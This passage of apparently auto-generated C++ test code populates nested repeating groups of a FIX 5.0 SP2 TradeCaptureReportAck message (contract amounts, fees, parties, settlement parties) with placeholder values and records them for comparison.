ContAmtGrp_NoContAmts_7);\n      set_field(noContAmts_1_1_0, FIX::ContAmtType{8}, ContAmtGrp_NoContAmts_7);\n      FIX::ContAmtValue ContAmtValue_7;\n      ContAmtValue_7.setString(\"295915\");\nset_field(noContAmts_1_1_0, ContAmtValue_7, ContAmtGrp_NoContAmts_7);\n      all_values.push_back(ContAmtGrp_NoContAmts_7);\n      all_compo_names.insert(\"...NoSides...NoContAmts\");\n\n      noSides_0_1.addGroup(noContAmts_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoContAmts noContAmts_1_1_1;\n      // ContAmtGrp.NoContAmts\n      multiset<string> ContAmtGrp_NoContAmts_8;\n      set_field(noContAmts_1_1_1, FIX::ContAmtCurr{\"EUR\"}, ContAmtGrp_NoContAmts_8);\n      set_field(noContAmts_1_1_1, FIX::ContAmtType{15}, ContAmtGrp_NoContAmts_8);\n      FIX::ContAmtValue ContAmtValue_8;\n      ContAmtValue_8.setString(\"8287946\");\nset_field(noContAmts_1_1_1, ContAmtValue_8, ContAmtGrp_NoContAmts_8);\n      all_values.push_back(ContAmtGrp_NoContAmts_8);\n      all_compo_names.insert(\"...NoSides...NoContAmts\");\n\n      noSides_0_1.addGroup(noContAmts_1_1_1);\n    }\n    // MiscFeesGrp\n    // Group MiscFeesGrp.NoMiscFees\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoMiscFees noMiscFees_1_1_0;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_35;\n      FIX::MiscFeeAmt MiscFeeAmt_35;\n      MiscFeeAmt_35.setString(\"7387730\");\nset_field(noMiscFees_1_1_0, MiscFeeAmt_35, MiscFeesGrp_NoMiscFees_35);\n      set_field(noMiscFees_1_1_0, FIX::MiscFeeBasis{2}, MiscFeesGrp_NoMiscFees_35);\n      set_field(noMiscFees_1_1_0, FIX::MiscFeeCurr{\"CHF\"}, MiscFeesGrp_NoMiscFees_35);\n      set_field(noMiscFees_1_1_0, FIX::MiscFeeType{\"STRING_12\"}, MiscFeesGrp_NoMiscFees_35);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_35);\n      all_compo_names.insert(\"...NoSides...NoMiscFees\");\n\n      noSides_0_1.addGroup(noMiscFees_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoMiscFees noMiscFees_1_1_1;\n      // MiscFeesGrp.NoMiscFees\n      multiset<string> MiscFeesGrp_NoMiscFees_36;\n      FIX::MiscFeeAmt MiscFeeAmt_36;\n      MiscFeeAmt_36.setString(\"3554876\");\nset_field(noMiscFees_1_1_1, MiscFeeAmt_36, MiscFeesGrp_NoMiscFees_36);\n      set_field(noMiscFees_1_1_1, FIX::MiscFeeBasis{2}, MiscFeesGrp_NoMiscFees_36);\n      set_field(noMiscFees_1_1_1, FIX::MiscFeeCurr{\"USD\"}, MiscFeesGrp_NoMiscFees_36);\n      set_field(noMiscFees_1_1_1, FIX::MiscFeeType{\"STRING_9\"}, MiscFeesGrp_NoMiscFees_36);\n      all_values.push_back(MiscFeesGrp_NoMiscFees_36);\n      all_compo_names.insert(\"...NoSides...NoMiscFees\");\n\n      noSides_0_1.addGroup(noMiscFees_1_1_1);\n    }\n    // Parties\n    // Group Parties.NoPartyIDs\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs noPartyIDs_1_1_0;\n      // Parties.NoPartyIDs\n      multiset<string> Parties_NoPartyIDs_154;\n      set_field(noPartyIDs_1_1_0, FIX::PartyID{\"STRING_1422137129\"}, Parties_NoPartyIDs_154);\n      set_field(noPartyIDs_1_1_0, FIX::PartyIDSource{'8'}, Parties_NoPartyIDs_154);\n      set_field(noPartyIDs_1_1_0, FIX::PartyRole{38}, Parties_NoPartyIDs_154);\n      all_values.push_back(Parties_NoPartyIDs_154);\n      all_compo_names.insert(\"...NoSides...NoPartyIDs\");\n\n      // PtysSubGrp\n      // Group PtysSubGrp.NoPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_1_0_2_0;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_306;\n        set_field(noPartySubIDs_1_0_2_0, FIX::PartySubID{\"STRING_267239072\"}, PtysSubGrp_NoPartySubIDs_306);\n        set_field(noPartySubIDs_1_0_2_0, FIX::PartySubIDType{7}, PtysSubGrp_NoPartySubIDs_306);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_306);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_1_1_0.addGroup(noPartySubIDs_1_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_1_0_2_1;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_307;\n        set_field(noPartySubIDs_1_0_2_1, FIX::PartySubID{\"STRING_1221792344\"}, PtysSubGrp_NoPartySubIDs_307);\n        set_field(noPartySubIDs_1_0_2_1, FIX::PartySubIDType{24}, PtysSubGrp_NoPartySubIDs_307);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_307);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_1_1_0.addGroup(noPartySubIDs_1_0_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_1_0_2_2;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_308;\n        set_field(noPartySubIDs_1_0_2_2, FIX::PartySubID{\"STRING_2062763222\"}, PtysSubGrp_NoPartySubIDs_308);\n        set_field(noPartySubIDs_1_0_2_2, FIX::PartySubIDType{11}, PtysSubGrp_NoPartySubIDs_308);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_308);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_1_1_0.addGroup(noPartySubIDs_1_0_2_2);\n      }\n      noSides_0_1.addGroup(noPartyIDs_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs noPartyIDs_1_1_1;\n      // Parties.NoPartyIDs\n      multiset<string> Parties_NoPartyIDs_155;\n      set_field(noPartyIDs_1_1_1, FIX::PartyID{\"STRING_1166936136\"}, Parties_NoPartyIDs_155);\n      set_field(noPartyIDs_1_1_1, FIX::PartyIDSource{'A'}, Parties_NoPartyIDs_155);\n      set_field(noPartyIDs_1_1_1, FIX::PartyRole{70}, Parties_NoPartyIDs_155);\n      all_values.push_back(Parties_NoPartyIDs_155);\n      all_compo_names.insert(\"...NoSides...NoPartyIDs\");\n\n      // PtysSubGrp\n      // Group PtysSubGrp.NoPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_1_1_2_0;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_309;\n        set_field(noPartySubIDs_1_1_2_0, FIX::PartySubID{\"STRING_7395827\"}, PtysSubGrp_NoPartySubIDs_309);\n        set_field(noPartySubIDs_1_1_2_0, FIX::PartySubIDType{19}, PtysSubGrp_NoPartySubIDs_309);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_309);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_1_1_1.addGroup(noPartySubIDs_1_1_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_1_1_2_1;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_310;\n        set_field(noPartySubIDs_1_1_2_1, FIX::PartySubID{\"STRING_64256954\"}, PtysSubGrp_NoPartySubIDs_310);\n        set_field(noPartySubIDs_1_1_2_1, FIX::PartySubIDType{8}, PtysSubGrp_NoPartySubIDs_310);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_310);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_1_1_1.addGroup(noPartySubIDs_1_1_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoPartyIDs::NoPartySubIDs noPartySubIDs_1_1_2_2;\n        // PtysSubGrp.NoPartySubIDs\n        multiset<string> PtysSubGrp_NoPartySubIDs_311;\n        set_field(noPartySubIDs_1_1_2_2, FIX::PartySubID{\"STRING_2051416548\"}, PtysSubGrp_NoPartySubIDs_311);\n        set_field(noPartySubIDs_1_1_2_2, FIX::PartySubIDType{4}, PtysSubGrp_NoPartySubIDs_311);\n        all_values.push_back(PtysSubGrp_NoPartySubIDs_311);\n        all_compo_names.insert(\"...NoSides...NoPartyIDs...NoPartySubIDs\");\n\n        noPartyIDs_1_1_1.addGroup(noPartySubIDs_1_1_2_2);\n      }\n      noSides_0_1.addGroup(noPartyIDs_1_1_1);\n    }\n    // SettlDetails\n    // Group SettlDetails.NoSettlDetails\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails noSettlDetails_1_1_0;\n      // SettlDetails.NoSettlDetails\n      multiset<string> SettlDetails_NoSettlDetails_11;\n      set_field(noSettlDetails_1_1_0, FIX::SettlObligSource{'2'}, SettlDetails_NoSettlDetails_11);\n      all_values.push_back(SettlDetails_NoSettlDetails_11);\n      all_compo_names.insert(\"...NoSides...NoSettlDetails\");\n\n      // SettlParties\n      // Group SettlParties.NoSettlPartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_1_0_2_0;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_57;\n        set_field(noSettlPartyIDs_1_0_2_0, FIX::SettlPartyID{\"STRING_543142932\"}, SettlParties_NoSettlPartyIDs_57);\n        set_field(noSettlPartyIDs_1_0_2_0, FIX::SettlPartyIDSource{'5'}, SettlParties_NoSettlPartyIDs_57);\n        set_field(noSettlPartyIDs_1_0_2_0, FIX::SettlPartyRole{179117177}, SettlParties_NoSettlPartyIDs_57);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_57);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_0_0_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_114;\n          set_field(noSettlPartySubIDs_1_0_0_3_0, FIX::SettlPartySubID{\"STRING_177472508\"}, SettlPtysSubGrp_NoSettlPartySubIDs_114);\n          set_field(noSettlPartySubIDs_1_0_0_3_0, FIX::SettlPartySubIDType{1672439021}, SettlPtysSubGrp_NoSettlPartySubIDs_114);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_114);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_0_2_0.addGroup(noSettlPartySubIDs_1_0_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_0_0_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_115;\n          set_field(noSettlPartySubIDs_1_0_0_3_1, FIX::SettlPartySubID{\"STRING_1974028535\"}, SettlPtysSubGrp_NoSettlPartySubIDs_115);\n          set_field(noSettlPartySubIDs_1_0_0_3_1, FIX::SettlPartySubIDType{652508380}, SettlPtysSubGrp_NoSettlPartySubIDs_115);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_115);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_0_2_0.addGroup(noSettlPartySubIDs_1_0_0_3_1);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_0_0_3_2;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_116;\n          set_field(noSettlPartySubIDs_1_0_0_3_2, FIX::SettlPartySubID{\"STRING_947092502\"}, SettlPtysSubGrp_NoSettlPartySubIDs_116);\n          set_field(noSettlPartySubIDs_1_0_0_3_2, FIX::SettlPartySubIDType{1107723762}, SettlPtysSubGrp_NoSettlPartySubIDs_116);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_116);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_0_2_0.addGroup(noSettlPartySubIDs_1_0_0_3_2);\n        }\n        noSettlDetails_1_1_0.addGroup(noSettlPartyIDs_1_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_1_0_2_1;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_58;\n        set_field(noSettlPartyIDs_1_0_2_1, FIX::SettlPartyID{\"STRING_1755259324\"}, SettlParties_NoSettlPartyIDs_58);\n        set_field(noSettlPartyIDs_1_0_2_1, FIX::SettlPartyIDSource{'1'}, SettlParties_NoSettlPartyIDs_58);\n        set_field(noSettlPartyIDs_1_0_2_1, FIX::SettlPartyRole{1374962834}, SettlParties_NoSettlPartyIDs_58);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_58);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_0_1_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_117;\n          set_field(noSettlPartySubIDs_1_0_1_3_0, FIX::SettlPartySubID{\"STRING_348432998\"}, SettlPtysSubGrp_NoSettlPartySubIDs_117);\n          set_field(noSettlPartySubIDs_1_0_1_3_0, FIX::SettlPartySubIDType{131008418}, SettlPtysSubGrp_NoSettlPartySubIDs_117);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_117);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_0_2_1.addGroup(noSettlPartySubIDs_1_0_1_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_0_1_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_118;\n          set_field(noSettlPartySubIDs_1_0_1_3_1, FIX::SettlPartySubID{\"STRING_1852256144\"}, SettlPtysSubGrp_NoSettlPartySubIDs_118);\n          set_field(noSettlPartySubIDs_1_0_1_3_1, FIX::SettlPartySubIDType{1658884425}, SettlPtysSubGrp_NoSettlPartySubIDs_118);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_118);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_0_2_1.addGroup(noSettlPartySubIDs_1_0_1_3_1);\n        }\n        noSettlDetails_1_1_0.addGroup(noSettlPartyIDs_1_0_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_1_0_2_2;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_59;\n        set_field(noSettlPartyIDs_1_0_2_2, FIX::SettlPartyID{\"STRING_1297944554\"}, SettlParties_NoSettlPartyIDs_59);\n        set_field(noSettlPartyIDs_1_0_2_2, FIX::SettlPartyIDSource{'1'}, SettlParties_NoSettlPartyIDs_59);\n        set_field(noSettlPartyIDs_1_0_2_2, FIX::SettlPartyRole{710629953}, SettlParties_NoSettlPartyIDs_59);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_59);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_0_2_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_119;\n          set_field(noSettlPartySubIDs_1_0_2_3_0, FIX::SettlPartySubID{\"STRING_1837456227\"}, SettlPtysSubGrp_NoSettlPartySubIDs_119);\n          set_field(noSettlPartySubIDs_1_0_2_3_0, FIX::SettlPartySubIDType{1933251822}, SettlPtysSubGrp_NoSettlPartySubIDs_119);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_119);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_0_2_2.addGroup(noSettlPartySubIDs_1_0_2_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_0_2_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_120;\n          set_field(noSettlPartySubIDs_1_0_2_3_1, FIX::SettlPartySubID{\"STRING_1512672619\"}, SettlPtysSubGrp_NoSettlPartySubIDs_120);\n          set_field(noSettlPartySubIDs_1_0_2_3_1, FIX::SettlPartySubIDType{1080398810}, SettlPtysSubGrp_NoSettlPartySubIDs_120);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_120);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_0_2_2.addGroup(noSettlPartySubIDs_1_0_2_3_1);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_0_2_3_2;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_121;\n          set_field(noSettlPartySubIDs_1_0_2_3_2, FIX::SettlPartySubID{\"STRING_1837184723\"}, SettlPtysSubGrp_NoSettlPartySubIDs_121);\n          set_field(noSettlPartySubIDs_1_0_2_3_2, FIX::SettlPartySubIDType{192276983}, SettlPtysSubGrp_NoSettlPartySubIDs_121);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_121);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_0_2_2.addGroup(noSettlPartySubIDs_1_0_2_3_2);\n        }\n        noSettlDetails_1_1_0.addGroup(noSettlPartyIDs_1_0_2_2);\n      }\n      noSides_0_1.addGroup(noSettlDetails_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails noSettlDetails_1_1_1;\n      // SettlDetails.NoSettlDetails\n      multiset<string> SettlDetails_NoSettlDetails_12;\n      set_field(noSettlDetails_1_1_1, FIX::SettlObligSource{'3'}, SettlDetails_NoSettlDetails_12);\n      all_values.push_back(SettlDetails_NoSettlDetails_12);\n      all_compo_names.insert(\"...NoSides...NoSettlDetails\");\n\n      // SettlParties\n      // Group SettlParties.NoSettlPartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_1_1_2_0;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_60;\n        set_field(noSettlPartyIDs_1_1_2_0, FIX::SettlPartyID{\"STRING_15906548\"}, SettlParties_NoSettlPartyIDs_60);\n        set_field(noSettlPartyIDs_1_1_2_0, FIX::SettlPartyIDSource{'1'}, SettlParties_NoSettlPartyIDs_60);\n        set_field(noSettlPartyIDs_1_1_2_0, FIX::SettlPartyRole{1451408670}, SettlParties_NoSettlPartyIDs_60);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_60);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_1_0_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_122;\n          set_field(noSettlPartySubIDs_1_1_0_3_0, FIX::SettlPartySubID{\"STRING_1008733821\"}, SettlPtysSubGrp_NoSettlPartySubIDs_122);\n          set_field(noSettlPartySubIDs_1_1_0_3_0, FIX::SettlPartySubIDType{1628881179}, SettlPtysSubGrp_NoSettlPartySubIDs_122);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_122);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_1_2_0.addGroup(noSettlPartySubIDs_1_1_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_1_0_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_123;\n          set_field(noSettlPartySubIDs_1_1_0_3_1, FIX::SettlPartySubID{\"STRING_1867462746\"}, SettlPtysSubGrp_NoSettlPartySubIDs_123);\n          set_field(noSettlPartySubIDs_1_1_0_3_1, FIX::SettlPartySubIDType{835278709}, SettlPtysSubGrp_NoSettlPartySubIDs_123);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_123);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_1_2_0.addGroup(noSettlPartySubIDs_1_1_0_3_1);\n        }\n        noSettlDetails_1_1_1.addGroup(noSettlPartyIDs_1_1_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_1_1_2_1;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_61;\n        set_field(noSettlPartyIDs_1_1_2_1, FIX::SettlPartyID{\"STRING_133905911\"}, SettlParties_NoSettlPartyIDs_61);\n        set_field(noSettlPartyIDs_1_1_2_1, FIX::SettlPartyIDSource{'6'}, SettlParties_NoSettlPartyIDs_61);\n        set_field(noSettlPartyIDs_1_1_2_1, FIX::SettlPartyRole{1943002471}, SettlParties_NoSettlPartyIDs_61);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_61);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_1_1_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_124;\n          set_field(noSettlPartySubIDs_1_1_1_3_0, FIX::SettlPartySubID{\"STRING_1941195902\"}, SettlPtysSubGrp_NoSettlPartySubIDs_124);\n          set_field(noSettlPartySubIDs_1_1_1_3_0, FIX::SettlPartySubIDType{1170481657}, SettlPtysSubGrp_NoSettlPartySubIDs_124);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_124);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_1_2_1.addGroup(noSettlPartySubIDs_1_1_1_3_0);\n        }\n        noSettlDetails_1_1_1.addGroup(noSettlPartyIDs_1_1_2_1);\n      }\n      noSides_0_1.addGroup(noSettlDetails_1_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails noSettlDetails_1_1_2;\n      // SettlDetails.NoSettlDetails\n      multiset<string> SettlDetails_NoSettlDetails_13;\n      set_field(noSettlDetails_1_1_2, FIX::SettlObligSource{'3'}, SettlDetails_NoSettlDetails_13);\n      all_values.push_back(SettlDetails_NoSettlDetails_13);\n      all_compo_names.insert(\"...NoSides...NoSettlDetails\");\n\n      // SettlParties\n      // Group SettlParties.NoSettlPartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_1_2_2_0;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_62;\n        set_field(noSettlPartyIDs_1_2_2_0, FIX::SettlPartyID{\"STRING_1301490076\"}, SettlParties_NoSettlPartyIDs_62);\n        set_field(noSettlPartyIDs_1_2_2_0, FIX::SettlPartyIDSource{'1'}, SettlParties_NoSettlPartyIDs_62);\n        set_field(noSettlPartyIDs_1_2_2_0, FIX::SettlPartyRole{1801029677}, SettlParties_NoSettlPartyIDs_62);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_62);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_2_0_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_125;\n          set_field(noSettlPartySubIDs_1_2_0_3_0, FIX::SettlPartySubID{\"STRING_1066007404\"}, SettlPtysSubGrp_NoSettlPartySubIDs_125);\n          set_field(noSettlPartySubIDs_1_2_0_3_0, FIX::SettlPartySubIDType{364175982}, SettlPtysSubGrp_NoSettlPartySubIDs_125);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_125);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_2_2_0.addGroup(noSettlPartySubIDs_1_2_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_2_0_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_126;\n          set_field(noSettlPartySubIDs_1_2_0_3_1, FIX::SettlPartySubID{\"STRING_1900366647\"}, SettlPtysSubGrp_NoSettlPartySubIDs_126);\n          set_field(noSettlPartySubIDs_1_2_0_3_1, FIX::SettlPartySubIDType{755979983}, SettlPtysSubGrp_NoSettlPartySubIDs_126);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_126);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_1_2_2_0.addGroup(noSettlPartySubIDs_1_2_0_3_1);\n        }\n        noSettlDetails_1_1_2.addGroup(noSettlPartyIDs_1_2_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_1_2_2_1;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_63;\n        set_field(noSettlPartyIDs_1_2_2_1, FIX::SettlPartyID{\"STRING_149944157\"}, SettlParties_NoSettlPartyIDs_63);\n        set_field(noSettlPartyIDs_1_2_2_1, FIX::SettlPartyIDSource{'1'}, SettlParties_NoSettlPartyIDs_63);\n        set_field(noSettlPartyIDs_1_2_2_1, FIX::SettlPartyRole{1836378794}, SettlParties_NoSettlPartyIDs_63);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_63);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_1_2_1_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_127;\n          